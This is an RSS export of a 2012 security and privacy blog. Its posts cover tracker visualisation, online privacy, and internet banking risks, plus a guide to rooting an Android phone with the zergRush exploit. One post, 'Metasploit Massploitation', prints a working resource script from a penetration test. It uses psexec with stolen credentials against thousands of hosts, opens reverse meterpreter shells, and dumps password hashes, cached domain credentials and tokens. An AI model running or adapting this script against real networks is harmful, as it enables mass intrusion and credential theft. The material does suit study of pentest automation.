<?xml version="1.0" encoding="utf-8" ?>

<rss version="2.0" 
   xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
   xmlns:admin="http://webns.net/mvcb/"
   xmlns:dc="http://purl.org/dc/elements/1.1/"
   xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
   xmlns:wfw="http://wellformedweb.org/CommentAPI/"
   xmlns:content="http://purl.org/rss/1.0/modules/content/"
    xmlns:creativeCommons="http://backend.userland.com/creativeCommonsRssModule" >
<channel>
    
    <title>Dominic White - Geek</title>
    <link>http://www.singe.za.net/blog/</link>
    <description>.tHE pRODUCT - Security &amp; Privacy Blog</description>
    <dc:language>en</dc:language>
    <generator>Serendipity  - http://www.s9y.org/</generator>
    <managingEditor>webmaster@singe.rucus.net</managingEditor>
<webMaster>webmaster@singe.rucus.net</webMaster>
<ttl>2160</ttl>
<pubDate>Thu, 01 Mar 2012 12:20:34 GMT</pubDate>

    <image>
        <url>http://singe.za.net/pics/links/tHEpRODUCT-blue.gif</url>
        <title>RSS: Dominic White - Geek - .tHE pRODUCT - Security &amp; Privacy Blog</title>
        <link>http://www.singe.za.net/blog/</link>
        <width>120</width>
        <height>29</height>
    </image>

<item>
    <title>Tracking the Trackers (my mods to the Collusion AddOn)</title>
    <link>http://www.singe.za.net/blog/archives/1051-Tracking-the-Trackers-my-mods-to-the-Collusion-AddOn.html</link>
            <category>Privacy</category>
    
    <comments>http://www.singe.za.net/blog/archives/1051-Tracking-the-Trackers-my-mods-to-the-Collusion-AddOn.html#comments</comments>
    <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=1051</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=2.0&amp;type=comments&amp;cid=1051</wfw:commentRss>
    

    <author>nospam@example.com (Dominic White)</author>
    <content:encoded>
    &lt;p&gt;In July last year, &lt;a href=&quot;http://www.toolness.com/wp/2011/07/collusion/&quot;&gt;Toolness&lt;/a&gt;, released a cool Firefox add-on, named Collusion, that draws a pretty visualisation of who&#039;s tracking you as you visit different sites. It gained some popularity after Gary Kovacs, Mozilla CEO, &lt;a href=&quot;http://www.wired.com/epicenter/2012/02/ted-mozilla-collusion/&quot;&gt;showed it off&lt;/a&gt; in his &lt;a href=&quot;http://blog.ted.com/2012/02/28/meet-collusion-announced-today-onstage-at-ted-u/&quot;&gt;TED talk yesterday&lt;/a&gt;.&lt;/p&gt; 
&lt;p&gt; It&#039;s a great little add-on for making something quite hard to explain to people quite visible. However, I didn&#039;t like the fact that it only showed trackers that set a cookie. For example, the requests to Facebook to fetch Like button JS, or calls to Google Analytics were being missed. There are lots of ways to track people other than cookies. So I edited the add-on to include third-parties to whom a request was made, but where a cookie wasn&#039;t set.&lt;br /&gt;&lt;/p&gt; &lt;p&gt;This ends up providing much more data, and the graph gets busy quick. So I re-enabled the dynamic radius function that grows nodes with many incoming links. This gives you a quick visual way to see which trackers you&#039;re hitting the most. I also updated the trackers list, as it was over 6months old. I&#039;ll switch to the API once/if privacychoice makes it available.&lt;br /&gt;&lt;/p&gt; 
&lt;p&gt;Here&#039;s an example of what a request to memeburn.com looks like with all tracker included, followed by the same session after hitting privacychoice.net&#039;s top10 most tracker-heavy pages.&lt;br /&gt;&lt;/p&gt; 
&lt;p&gt; &lt;a href=&quot;http://www.singe.za.net/blog/uploads/collusion-memeburn.png&quot; class=&quot;serendipity_image_link&quot;&gt;&lt;!-- s9ymdb:124 --&gt;&lt;img width=&quot;110&quot; height=&quot;83&quot; src=&quot;http://www.singe.za.net/blog/uploads/collusion-memeburn.serendipityThumb.png&quot; class=&quot;serendipity_image_center&quot; alt=&quot;&quot;  /&gt;&lt;/a&gt;&lt;a class=&quot;serendipity_image_link&quot; href=&quot;http://www.singe.za.net/blog/uploads/ScreenShot2012-03-01at2.50.56AM.png&quot;&gt;&lt;!-- s9ymdb:125 --&gt;&lt;img width=&quot;110&quot; height=&quot;70&quot; class=&quot;serendipity_image_center&quot; src=&quot;http://www.singe.za.net/blog/uploads/ScreenShot2012-03-01at2.50.56AM.serendipityThumb.png&quot; alt=&quot;&quot;  /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/p&gt; 
&lt;p&gt;I&#039;ve sent a&lt;a href=&quot;https://github.com/toolness/collusion/pull/72&quot;&gt; pull request&lt;/a&gt; to the maintainers, so hopefully it&#039;ll get merged. In the meantime, my edited add-on can be downloaded here:&lt;/p&gt; 
&lt;ul&gt; 
&lt;li&gt;&lt;a href=&quot;/utils/collusion-singe.xpi&quot;&gt;collusion-singe.xpi&lt;/a&gt; SHA1: 6a08ee743e22da29d97fff5b0e525264666fbcfb&lt;br /&gt;&lt;/li&gt; 
&lt;/ul&gt; 
&lt;p&gt; I&#039;d love any feedback you may have.&lt;/p&gt; 
&lt;p&gt;Caveat: This will show domains that obviously aren&#039;t trackers, such as CDNs, but that&#039;s minimal, and easy to spot with the new radius stuff.&lt;/p&gt; 
    </content:encoded>

    <pubDate>Thu, 01 Mar 2012 02:12:34 +0200</pubDate>
    <guid isPermaLink="false">http://www.singe.za.net/blog/archives/1051-guid.html</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by-nc-sa/3.0/</creativeCommons:license>
</item>
<item>
    <title>A Response to Seth Godin's &quot;The Illusion of Privacy&quot;</title>
    <link>http://www.singe.za.net/blog/archives/1048-A-Response-to-Seth-Godins-The-Illusion-of-Privacy.html</link>
            <category>Privacy</category>
    
    <comments>http://www.singe.za.net/blog/archives/1048-A-Response-to-Seth-Godins-The-Illusion-of-Privacy.html#comments</comments>
    <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=1048</wfw:comment>

    <slash:comments>5</slash:comments>
    <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=2.0&amp;type=comments&amp;cid=1048</wfw:commentRss>
    

    <author>nospam@example.com (Dominic White)</author>
    <content:encoded>
    Seth Godin is a smart guy, and people listen to what he says, but he&#039;s recently ventured into an area he knows little about, &lt;a href=&quot;http://sethgodin.typepad.com/seths_blog/2012/02/the-illusion-of-privacy-and-what-we-actually-care-about.html&quot;&gt;privacy&lt;/a&gt;, and made some mistakes I feel should be corrected. &lt;p&gt;Seth lays out two claims, the first is that we have no privacy, and the second is that consumer &amp;quot;privacy scares&amp;quot; are actually just because consumers don&#039;t like surprises. The first is the most important. It&#039;s something you hear all the time, and it damages the potential work privacy advocates and developers can achieve.&lt;/p&gt; 
&lt;p&gt; &lt;/p&gt; 
&lt;p&gt;&lt;strong&gt;You have no privacy&lt;/strong&gt; &lt;br /&gt;&lt;/p&gt; 
&lt;p&gt; The first mistake Seth has made, is to assume that he knows anything about privacy. As Iain Currie points out in his excellent paper &amp;quot;&lt;a href=&quot;http://papers.ssrn.com/sol3/papers.cfm?abstract_id=1127986&amp;amp;&quot;&gt;Some implications of a dignity-based conception of privacy&lt;/a&gt;&amp;quot;:&lt;/p&gt; 
&lt;blockquote&gt; 
&lt;p&gt;[Much] writing about privacy tends to be ‘intuitionist’. This is a form of moral argumentation that relies on people’s innate intuitions of right and wrong. [] The difficulty with [intuitionism] is the unreliability of its results. What some people experience as shameful violations of privacy, others do
not. A more general problem with intuition as a basis for ethical decision-making is that some extrinsic quality-control measure always seems to be required to test the rightness of one’s intuitions. The fact that a lot of people feel strong moral revulsion at, say, the idea of interracial or homosexual sex is generally not thought to be a good reason for judging those practices as immoral. &lt;/p&gt; 
&lt;/blockquote&gt; 
&lt;p&gt;It turns out that privacy is actually quite a tricky concept, and both the fields of moral philosophy and law have spent a considerable amount of nailing it down. I tweeted that a good place to start any readings on privacy, is the &lt;a href=&quot;http://plato.stanford.edu/entries/privacy/&quot;&gt;Stanford Encyclopaedia of Philosophy&#039;s entry on the matter&lt;/a&gt;. Just wading in to the field and declaring that credit card, phone and web logs are the sum total of your privacy is the first mistake. The second mistake in his final sentence, is assuming that this is a fait accompli. Just because it&#039;s happening, doesn&#039;t mean we shouldn&#039;t be fighting it. Companies make lots of money by collecting information and selling/monetising it. User&#039;s don&#039;t really understand or directly/immediately/accountably experience the violations, so all we have to keep corporate greed in check are the &lt;a href=&quot;http://blogs.wsj.com/wtk/&quot;&gt;privacy advocates&lt;/a&gt;, who get privacy, and are working to out the abuses in a way the average user can grok. Letting Seth get away with propagating this stuff hurts us all.&lt;br /&gt;&lt;/p&gt; 
&lt;p&gt;&lt;strong&gt;We don&#039;t like surprises&lt;/strong&gt;&lt;/p&gt; 
&lt;p&gt;In the second part of his entry, Seth attempts to boil privacy reactions to not be about privacy, but rather the fact that we don&#039;t like surprises. The obvious rebuttal to this is that lots of people do like surprises. Personally, I hate it when I know what my wife is getting me for my birthday. There&#039;s nothing intrinsic to a surprise that should make it a negative, or use it as a design guideline for developers. So if we are to be chartiable to Seth&#039;s argument, possibly he meant, we don&#039;t like &lt;em&gt;bad&lt;/em&gt; surprises. This makes sense, nobody likes getting mugged for example. But, in the end, the &amp;quot;surprise&amp;quot; part appears to have nothing to do with it, and the &amp;quot;bad&amp;quot; part has everything to do with it. It&#039;s the loss/trauma of the mugging that is bad, not that it was surprising. What this means, is that the charitable interpretation of Seth&#039;s point is: &amp;quot;Consumers don&#039;t like it when you do bad stuff with their data.&amp;quot;&lt;/p&gt; 
&lt;p&gt;I wish Seth had analysed his argument, and realised that&#039;s what he was actually saying. Because, the next logical step is to realise that his advice to developers should be, to stop doing bad stuff with users data. Not, that it&#039;s too late to worry about privacy.&lt;/p&gt; 
&lt;p&gt;Since Seth didn&#039;t, I will, here&#039;s my advice to developers:&lt;/p&gt; 
&lt;ol&gt; 
&lt;li&gt; Don&#039;t use data in a manner that does not benefit the user.&lt;/li&gt; 
&lt;li&gt;If you must, gather actual consent, and only use the data in the consented to manner&lt;/li&gt; 
&lt;li&gt;Allow the user to opt-out, and still retain some service either up-front or at a later stage&lt;/li&gt; 
&lt;/ol&gt; 
&lt;p&gt;&lt;strong&gt;Conclusion&lt;/strong&gt;&lt;/p&gt; 
&lt;p&gt;&lt;strong&gt;&lt;/strong&gt;In the end, Seth has propagated a lie that many before him have told. He&#039;s just a big public figure. Privacy is hard, you can&#039;t knee jerk it. Online/electronic privacy is an active field of research, and improvements should be supported not put down with tired throw-away lines. What&#039;s more, technical ways of doing this are available and should be investigated, no matter their surprise value.&lt;/p&gt; 
&lt;p&gt;P.S. If you&#039;re interested in this, you may also enjoy &lt;a href=&quot;http://www.singe.za.net/blog/archives/1008-A-Response-to-Paul-Rubins-Ten-Fallacies-About-Web-Privacy.html&quot;&gt;my rebuttal of Paul Rubin&lt;/a&gt;.&lt;br /&gt;&lt;/p&gt; 
    </content:encoded>

    <pubDate>Fri, 17 Feb 2012 22:48:26 +0200</pubDate>
    <guid isPermaLink="false">http://www.singe.za.net/blog/archives/1048-guid.html</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by-nc-sa/3.0/</creativeCommons:license>
</item>
<item>
    <title>Internet Banking, 22seven &amp; Security Fallacies</title>
    <link>http://www.singe.za.net/blog/archives/1045-Internet-Banking,-22seven-Security-Fallacies.html</link>
            <category>Security</category>
    
    <comments>http://www.singe.za.net/blog/archives/1045-Internet-Banking,-22seven-Security-Fallacies.html#comments</comments>
    <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=1045</wfw:comment>

    <slash:comments>7</slash:comments>
    <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=2.0&amp;type=comments&amp;cid=1045</wfw:commentRss>
    

    <author>nospam@example.com (Dominic White)</author>
    <content:encoded>
    There&#039;s been a lot of hoopla recently about internet banking security and the introduction of 22seven. I&#039;d like to add to the discussion, by attempting to extract the key arguments and critically analyzing them.&lt;br /&gt; &lt;h3&gt;1) 22seven is secure &lt;/h3&gt; 
&lt;p&gt;Figuring out if something is secure is really hard. The current way the industry measures it is by getting a reputable company to perform an in-depth and broad security assessment. 22seven claim to do this in &lt;a href=&quot;https://www.22seven.com/security.html&quot;&gt;their description&lt;/a&gt;. However, none of the results are published, so as a member of the public, we have little to go on. Even then, security testing is a bit of a market for lemons; that is, unless you are an expert, you don&#039;t know if the testers did a good job or not. For me to take their claim seriously I&#039;d like to see a letter of attestation from a reputable security testing firm at the least. Until then, we can&#039;t know.&lt;/p&gt; 
&lt;p&gt;On the flip side, I use tons of online services all day that don&#039;t even get around to claiming they test their stuff, let alone go as far as I described above, and so do you. But, these services don&#039;t want access to my personal financial transactions, limited power of attorney, and leave all the risk of compromise on me.&lt;br /&gt;&lt;/p&gt; 
&lt;h3&gt;2) 22seven is safe because they use Yodlee and they are safe&lt;/h3&gt; 
&lt;p&gt;This is the claim put forward by 22seven themselves as part of their security overview, and elaborated on by &lt;a href=&quot;http://simon.co.za/why-its-safe-to-use-22seven/&quot;&gt;Simon Dingle&lt;/a&gt;. The problem with this is two fold. First, there are many possible ways in which 22seven could be modified in the event of a compromise to provide access to your credentials, even though Yodlee is secure. &lt;a href=&quot;http://memeburn.com/2012/02/why-22seven-is-most-probably-but-not-necessarily-safe/&quot;&gt;Paul Cartmel&lt;/a&gt; reminds us of the old security truism; that you&#039;re only secure as your weakest link. A simple modification of their invocation of Yodlee would be enough to get the job done. Even if you aren&#039;t targeting credentials, a disclosure of your financial transactions alone could be a serious breach. So, you need 22seven to be secure AND Yodlee to be secure.&lt;/p&gt; 
&lt;p&gt;Even then, the use of a third party, with whom I have no contractual relationship, in another country&#039;s jurisdiction (now the US gov can subpoena my financial details, yay) makes me uncomfortable. What recourse do I have to Yodlee if they are the source of a breach?&lt;/p&gt; 
&lt;p&gt;Once again, you do this all the time, so put it into perspective a little :)&lt;br /&gt;&lt;/p&gt; 
&lt;h3&gt;3) Yodlee is safe, because they&#039;ve never been breached in 13 years&lt;/h3&gt; 
&lt;p&gt;If you refer back to point (1) you&#039;ll note that I didn&#039;t use &amp;quot;no past breaches&amp;quot; as a criteria for &amp;quot;secure&amp;quot;. This is for two reasons again. The first is that detecting breaches is really hard. You need to have significant monitoring, and the capability to understand what the tools are producing to know if you are breached. Even then, the possibility of the attacker being smarter than your monitoring exists (and to bypass your average IDS, you don&#039;t have to be that smart). Second, having never been compromised could be as much an indication that nobody has ever tried as it could that the site resisted attacks. Even if it was rock solid till now, people make mistakes, and introduce new code with potential vulnerabilities all the time. The past is no guarantee of future success.&lt;br /&gt;&lt;/p&gt; 
&lt;p&gt;To be fair to Yodlee, at no point on their site do they make this claim. This was put forward by Simon in his article.&lt;/p&gt; 
&lt;h3&gt;4) Yodlee&#039;s access to your bank account is a good idea&lt;/h3&gt; 
&lt;p&gt;I&#039;m paraphrasing heavily here, but it captures the general argument between 22seven (and supporters) and the likes of Absa. The claim is that Absa is being a stick in the mud and resiting the new wave of customer service possibilities. Commercials aside, I think Absa has a point here. Of all the possibilities for how 22seven could get your info, giving you banking creds to Yodlee has to be the worst. In fact, this is a solved problem. How do you think you accountant has been getting transactional information from Internet Banking into Quick Books or Pascal all these years? They export the stuff in OFX (open financial exchange) or QFX formats and import it into their tool. Better yet, PFM&#039;s that support this have been around for a while. I&#039;ve been using buxfer.com for over a year with this method, and it works well, without me handing over full control of my bank accounts to a random third party (but you&#039;ll not I do fall prey to some of the problems I listed above re jurisdiction &amp;amp; the possibility of buxfer getting hacked). There are a ton of other options too, a client-side browser plugin that stores your creds and imports it into the site would be a use of automation that doesn&#039;t require credential disclosure. Here, let me draw a picture:&lt;/p&gt; 
&lt;p&gt;&lt;a class=&quot;serendipity_image_link&quot; href=&quot;http://www.singe.za.net/blog/uploads/22seven.png&quot;&gt;&lt;!-- s9ymdb:123 --&gt;&lt;img width=&quot;640&quot; height=&quot;167&quot; class=&quot;serendipity_image_center&quot; src=&quot;http://www.singe.za.net/blog/uploads/22seven.png&quot; alt=&quot;&quot;  /&gt;&lt;/a&gt;&lt;/p&gt; 
&lt;h3&gt;Banks Response&lt;br /&gt;&lt;/h3&gt; 
&lt;p&gt;There seem to have been two responses from two banks, Absa and FNB. Absa&#039;s response was to block Yodlee&#039;s servers. I think it may be a bit drastic, but I certainly have sympathy for their stated objection to handing your creds over to a third party. FNB, on the other hand, &lt;del&gt;has responded by&lt;/del&gt; will be getting rid of their One Time Passwords (via GSM as a 2nd-factor-auth) on login, and relying on transactional (&amp;quot;confirmation&amp;quot;) OTPs only. They contacted me to clarify that this was planned before 22seven and was not a response to it. I think this is a bad idea (outside of 22seven), and have asked (as a customer) that FNB retain login SMS notifications at the least (they will publish a log of logins within Internet Banking, but by the time you&#039;ve found an illegal one, it&#039;s possibly too late). &lt;del&gt;Hopefully they&#039;ll respond. &lt;/del&gt;FNB went on to clarify that login notifications will still be sent by e-mail, and that the audit trail published in the app will include both failed and successful logins.&lt;br /&gt;&lt;/p&gt; 
&lt;p&gt;This has happened before though, with Twitter and Facebook. Remember when you had to give sites your twitter and facebook credentials, and the problems that caused? They ended up building in OAuth and providing an API that caters for third party applications (and per-application permissions). This may the chance for the banks to start doing the same.&lt;/p&gt; 
&lt;h3&gt;Conclusion&lt;/h3&gt; 
&lt;p&gt;I&#039;m not saying 22seven and Yodlee are ripe for hacking, nor that they are safe. I&#039;m not even saying us not knowing they&#039;re safe should preclude their use given what you do with the rest of your online data. Unfortunately, you need to make the decision, but I&#039;m sticking to my OFX export in the meantime and find the risk of disclosure some transactional data, should buxfer get hacked, acceptable compared with the benefits it provides me (for e.g. I moved bank after buxfer made it clear just how much I was paying). I&#039;m also not joining in any name calling, I disagree with some of Simon and Paul&#039;s points and agree with others, but this stands as my opinion in the end.&lt;/p&gt; 
&lt;p&gt;Update: Modified the &amp;quot;Bank&#039;s Response&amp;quot; section based on feedback from FNB. Thanks for going to the trouble of contacting me :)&lt;br /&gt;&lt;/p&gt; 
    </content:encoded>

    <pubDate>Thu, 02 Feb 2012 14:26:01 +0200</pubDate>
    <guid isPermaLink="false">http://www.singe.za.net/blog/archives/1045-guid.html</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by-nc-sa/3.0/</creativeCommons:license>
</item>
<item>
    <title>How to root a Motorola Atrix 4G on 2.3.4</title>
    <link>http://www.singe.za.net/blog/archives/1044-How-to-root-a-Motorola-Atrix-4G-on-2.3.4.html</link>
            <category>Security</category>
    
    <comments>http://www.singe.za.net/blog/archives/1044-How-to-root-a-Motorola-Atrix-4G-on-2.3.4.html#comments</comments>
    <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=1044</wfw:comment>

    <slash:comments>3</slash:comments>
    <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=2.0&amp;type=comments&amp;cid=1044</wfw:commentRss>
    

    <author>nospam@example.com (Dominic White)</author>
    <content:encoded>
    &lt;p&gt;Thanks to &lt;a href=&quot;http://simon.co.za/&quot; title=&quot;Simon Dingle&quot;&gt;Simon Dingle&lt;/a&gt;, I&#039;m going to be getting into the world of Android. One of the things that shocked me over the first few days, was the large number of applications that came bundled with the phone that could not be uninstalled, and had persistent background processes. In the &amp;quot;direct consequences&amp;quot; camp, the Motorola News and Gallery application simultaneously chewed my bandwidth and flattened by battery, in the more worrying &amp;quot;shady unknown consequences&amp;quot; camp, an app call &amp;quot;Arabware [1]&amp;quot; offered to &amp;quot;localize&amp;quot; my services, and&amp;#160; also could not be uninstalled or stopped. I decided it was time I got root.&lt;/p&gt; 
&lt;p&gt;The official guides for how to root a Motorola Atrix 4G on the latest update (2.3.4 at the time of writing) are laughably naive. In 5 minutes I could easily find 50 sites all parroting the same process involving complex and dangerous flashing of firmware. The first bit of mis-information that needs clarification, is that despite the Motorola 2.3.3 developer preview having an unlocked bootloader, the official 2.3.4 Gingerbread update from Motorola &lt;strong&gt;DOES NOT HAVE AN UNLOCKED BOOTLOADER&lt;/strong&gt;. No problem they say, &lt;a href=&quot;http://www.addictivetips.com/mobile/unlock-motorola-atrix-4g-bootloader-on-froyo-gingerbread/&quot;&gt;just flash this firmware in this ZIP file&lt;/a&gt;, supposedly extracted from a Chinese leaked version of 2.3.3. What?! You want me to flash fimware passed around as a zip file from random locations? Not a chance. To make it worse, after a quick squiz at the .sbf file, I found this comment embedded in it: &lt;/p&gt; 
&lt;blockquote&gt;&amp;quot;The2dCour, known troll in your phone.&amp;quot;&lt;/blockquote&gt; Awesome. Not a chance I&#039;m touching that.&lt;br /&gt;Here&#039;s a much safer, simpler way to root your device, which involves no warranty-voiding, security-spine-chilling hoop jumping.&lt;br /&gt; 
&lt;p&gt; &lt;/p&gt; &lt;p&gt;All I wanted was root. I&#039;m familiar enough with Linux to make my way after that. If you&#039;re &amp;quot;non-technical&amp;quot; then move along :) The steps are:&lt;/p&gt; 
&lt;ol&gt; 
&lt;li&gt; Put your phone into USB debugging mode.&lt;/li&gt; 
&lt;li&gt;Download and install the Android Debugging tool from the &lt;a href=&quot;http://developer.android.com/sdk/&quot; title=&quot;Android SDK&quot;&gt;Android SDK&lt;/a&gt;.&lt;/li&gt; 
&lt;ul&gt; 
&lt;li&gt;You&#039;ll need to run the SDK executable (android) and install the &amp;quot;Platform Tools&amp;quot; to get ADB these days.&lt;/li&gt; 
&lt;/ul&gt; 
&lt;li&gt;Plug your phone into your computer.&lt;/li&gt; 
&lt;li&gt;Run &amp;quot;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;adb devices&lt;/font&gt;&amp;quot;. You should see the serial number of your phone appear.&lt;/li&gt; 
&lt;li&gt;Download the &lt;a href=&quot;https://github.com/downloads/revolutionary/zergRush/zergRush.zip&quot;&gt;binary zergRush exploit&lt;/a&gt; from it&#039;s developers. The &lt;a href=&quot;https://github.com/revolutionary/zergRush/blob/37f10d59dbe9ca6d76930a7e136d2d69b4b0b159/zergRush.c&quot; title=&quot;zergRush Source&quot;&gt;source code&lt;/a&gt; is also available for you to examine (or compile).&lt;br /&gt;&lt;/li&gt; 
&lt;li&gt;Upload it to your device with &amp;quot;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;adb push zergRush /data/local/tmp&lt;/font&gt;&amp;quot;.&lt;/li&gt; 
&lt;li&gt;Connect to your device with &amp;quot;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;adb shell&lt;/font&gt;&amp;quot;&lt;/li&gt; 
&lt;li&gt;In the shell, switch to the temp dir and run zergRush &amp;quot;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;cd /data/local/tmp/; ./zergRush&lt;/font&gt;&amp;quot;&lt;/li&gt; 
&lt;li&gt;You should see the following (the image below has been partially redacted):&lt;/li&gt; 
&lt;ul&gt; 
&lt;li&gt;&lt;!-- s9ymdb:122 --&gt;&lt;img width=&quot;469&quot; height=&quot;271&quot; class=&quot;serendipity_image_center&quot; src=&quot;http://www.singe.za.net/blog/uploads/zergRush-Atrix.png&quot; alt=&quot;&quot;  /&gt;&lt;/li&gt; 
&lt;/ul&gt; 
&lt;li&gt;If you get the &amp;quot;Killing ADB and restarting as root&amp;quot; line, then it&#039;s worked. Exit your adb shell and reconnect. You&#039;ll see a &amp;quot;#&amp;quot; as your prompt indicating you&#039;re root.&lt;/li&gt; 
&lt;/ol&gt; 
&lt;p&gt;And that&#039;s it. On the one hand, I&#039;m happy there&#039;s a &amp;quot;safer&amp;quot; easy way to get root on my own device, on the other hand, I&#039;m uncomfortable with the fact that one of Motorola&#039;s flagship phones can be 0nwed so easily, with no update forthcoming.&lt;/p&gt; 
&lt;p&gt;[1] Yes, I know Arabware is a localisation service for the Arabic alphabet. I&#039;m not saying it&#039;s shady, just that I see no reason why it should be a mandatory app in South Africa.&lt;br /&gt;&lt;/p&gt; 
&lt;ol&gt; &lt;/ol&gt; 
    </content:encoded>

    <pubDate>Mon, 16 Jan 2012 14:56:59 +0200</pubDate>
    <guid isPermaLink="false">http://www.singe.za.net/blog/archives/1044-guid.html</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by-nc-sa/3.0/</creativeCommons:license>
</item>
<item>
    <title>Metasploit Massploitation</title>
    <link>http://www.singe.za.net/blog/archives/1043-Metasploit-Massploitation.html</link>
            <category>Security</category>
    
    <comments>http://www.singe.za.net/blog/archives/1043-Metasploit-Massploitation.html#comments</comments>
    <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=1043</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=2.0&amp;type=comments&amp;cid=1043</wfw:commentRss>
    

    <author>nospam@example.com (Dominic White)</author>
    <content:encoded>
    &lt;p&gt;In light of past and recent posts from mubix (&lt;a href=&quot;blog.metasploit.com/2010/03/automating-metasploit-console.html&quot; title=&quot;Automating Metasploit Console&quot;&gt;one&lt;/a&gt;, &lt;a href=&quot;http://www.room362.com/blog/2011/11/1/run-post-modules-on-all-sessions.html&quot; title=&quot;Run POST modules on all sessions&quot;&gt;two&lt;/a&gt;) and &lt;a href=&quot;http://blog.pentestify.com/simple-framework-domain-token-scanner&quot;&gt;jcran&lt;/a&gt;, I thought I&#039;d post the hack I used to connect to then run Metasploit post-exploitation modules across several thousand machines. I still need to go through them all and merge them, but I thought I&#039;d throw my hat in the ring. Thank to mubix for his help on the job with some of it.&lt;br /&gt;&lt;/p&gt; 
&lt;div class=&quot;storycontent&quot;&gt; 
&lt;p&gt;On a pentest with a massive internal network, we managed to 
get access to 22k machines as local admin using a local account (verified with ncrack). 
Obvious domain priv esc routes were shut down, so it was time to extend our control and information. I wanted hashes, cached domain creds and available tokens from 
each of these. So I put together the following metasploit massploitation
 script. The main difference between this and the other solutions posted, is that my box fell over with several thousand meterpreter sessions open, so I wanted a way to automate connecting &amp;amp; pulling the info without needed all the sessions to be open at once.&lt;br /&gt;&lt;/p&gt; 
&lt;/div&gt; Essentially, there are three parts: 


&lt;ol&gt; 
&lt;li&gt;The massploitation.rc, this is the script run in the console (capturing the output is a good idea)&lt;br /&gt;&lt;/li&gt; 
&lt;li&gt;The targets file which has a list of targets, one per line&lt;br /&gt;&lt;/li&gt; 
&lt;li&gt;The extract.rc that is run within each meterpreter session by the massploitation script. You can change this to what you need.&lt;br /&gt;&lt;/li&gt; 
&lt;/ol&gt;&lt;strong&gt;massploit-generic.rc&lt;/strong&gt; 
&lt;pre&gt;use multi/handler
setg PAYLOAD windows/meterpreter/reverse_tcp
setg LHOST &amp;lt;Local IP&amp;gt;
set LPORT 4444
set ExitOnSession false
exploit -j -z

use exploit/windows/smb/psexec
set SMBUser &amp;lt;username&amp;gt;
set SMBPass &amp;lt;pass or hash&amp;gt;
set SMBDomain &quot;.&quot;
set DisablePayloadHandler true

&amp;lt;ruby&amp;gt;
	hostsfile = &quot;&amp;lt;file containing hosts one per line&amp;gt;&quot;
	File.open(hostsfile).each do |host|
		host.strip!
		print_status(&quot;Targetting #{host}&quot;)
		self.run_single(&quot;set RHOST #{host}&quot;)
		self.run_single(&quot;exploit -j -z&quot;)
		flag = false
		count = 0
		while ( flag == false and count &amp;lt; 5 )
			if ( framework.sessions.length &amp;gt; 0 )
				self.run_single(&quot;sessions -s extract.rc&quot;)
				flag = true
				#self.run_single(&quot;sessions &lt;a href=&quot;http://framework.sessions.length&quot;&gt;-K&quot;)&lt;/a&gt;  #trying to resolve the race condition, this didn&#039;t work
			else
				count += 1
			end
			sleep(5)
		end
	end
&amp;lt;/ruby&amp;gt;&lt;/pre&gt; 
&lt;p&gt;&lt;strong&gt;extract.rc&lt;/strong&gt;&lt;/p&gt; 
&lt;pre&gt;print_status(client.sys.config.sysinfo[&quot;Computer&quot;])
print_status(client.sys.config.sysinfo[&quot;OS&quot;])
client.console.run_single(&quot;load incognito&quot;)
client.console.run_single(&quot;list_tokens -u&quot;)
client.console.run_single(&quot;run post/windows/gather/cachedump&quot;)
client.console.run_single(&quot;hashdump&quot;)
&lt;a href=&quot;http://client.sys.config.sysinfo&quot;&gt;client.console.run_single(&quot;exit&quot;)&lt;/a&gt;  #Rather kill the session here&lt;/pre&gt; 
&lt;p&gt;The stuff isn’t perfect, as there is a race condition where sometimes
 it tries to execute the meterpreter script before the meterpreter 
session is ready. Other than the delay, I’ll need to spend some time to 
understand metasploit’s threading.&lt;/p&gt; 
    </content:encoded>

    <pubDate>Sun, 08 Jan 2012 20:42:59 +0200</pubDate>
    <guid isPermaLink="false">http://www.singe.za.net/blog/archives/1043-guid.html</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by-nc-sa/3.0/</creativeCommons:license>
</item>
<item>
    <title>Dropping Privileges in Python (pattern)</title>
    <link>http://www.singe.za.net/blog/archives/1041-Dropping-Privileges-in-Python-pattern.html</link>
            <category>Geek</category>
    
    <comments>http://www.singe.za.net/blog/archives/1041-Dropping-Privileges-in-Python-pattern.html#comments</comments>
    <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=1041</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=2.0&amp;type=comments&amp;cid=1041</wfw:commentRss>
    

    <author>nospam@example.com (Dominic White)</author>
    <content:encoded>
